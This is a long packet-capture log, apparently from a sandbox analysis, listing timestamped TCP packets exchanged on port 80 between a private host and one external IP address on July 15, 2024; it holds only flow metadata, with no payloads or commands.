Jul 15, 2024 00:48:22.980115891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980127096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980139971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980143070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980151892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980163097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980165958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980175972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980185986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980187893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980199099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980205059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980214119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980222940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980226040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980237007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980247974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980251074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980259895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980273962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980278969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980288982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980298042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980326891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980878115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980890036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980901003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980912924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980923891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980928898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980938911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980952024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980973005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.012502909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012521029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012533903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012587070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012602091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012614012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012626886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012631893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.012671947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.012701035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.012748003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066447020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066469908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066485882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066503048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066512108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066524982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066528082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066540956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066553116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066557884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066570044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066587925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066612005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066690922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066704988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066737890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066752911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066811085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066823959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066838026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066848040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066850901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066869974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.066871881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.066901922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067089081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067102909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067115068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067126036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067127943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067141056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067151070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067152977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067167997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067182064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067187071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067198038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067225933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067359924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067401886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067536116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067548990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067562103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067568064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067574978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067581892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067589998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067598104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067603111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067616940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067619085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067630053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067643881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067647934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067657948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067666054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067692995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067720890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.067977905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.067992926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068006992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068020105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068025112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068039894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068052053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068078041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068295002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068315029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068329096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068339109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068341970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068357944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068366051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068371058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068392992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068393946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068407059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068409920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068422079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068434954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068435907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068448067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068459034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068466902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068474054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068492889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068496943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068510056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068512917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068526030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068541050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068558931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.068970919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068984032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.068999052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069010019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069015026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069089890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069099903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069137096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069143057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069156885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069184065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069192886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069305897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069319963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069333076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069345951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069348097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069360018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069366932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069396019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069490910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069503069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069524050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069547892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069660902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069673061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069686890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069700956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069700956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069715023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069715023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069727898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069740057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069741964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069756031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.069765091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.069789886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070033073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070046902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070060968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070077896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070102930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070220947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070240974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070255995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070257902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070271969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070283890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070302010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070393085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070430040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070431948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070446014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070458889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070465088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070473909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070481062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070487022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070497036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070501089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070513010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070513964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070732117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070744991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070755005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070756912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070772886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070799112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070889950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070904016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070924997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070949078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070954084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070966005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070981026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.070983887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.070993900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071000099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071007967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071017027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071022034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071033001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071048975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071063995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071295977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071307898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071321011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071332932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071335077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071346045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071352005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071363926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071376085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.071379900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071396112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.071419954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.103370905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103388071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103403091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103452921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.103481054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.103647947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103674889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103691101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103703022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.103710890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.103718996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.103738070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.103751898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157037973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157080889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157093048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157126904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157150030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157218933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157237053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157249928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157263994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157267094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157304049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157321930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157332897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157344103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157358885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157387018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157529116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157546997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157557964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157569885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157571077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157579899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157592058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157597065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157608986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157619953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157623053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157648087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157671928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157751083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157768011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157780886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157794952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157794952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157808065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157826900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157830954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.157840014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.157874107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158081055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158092022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158102989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158113956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158127069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158128977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158139944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158152103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158154964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158164024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158176899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158183098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158190012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158202887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158221960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158246994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158449888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158459902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158471107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158487082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158499956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158529997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158581018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158623934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158654928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158667088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158678055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158689976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158700943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158703089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158715010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158730984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158752918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.158879042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.158926964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159009933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159020901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159032106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159044981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159055948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159061909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159066916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159080982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159090996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159092903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159106016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159111023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.159117937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.159130096 CEST	80	49704	38.180.60.246	192.168.2.5
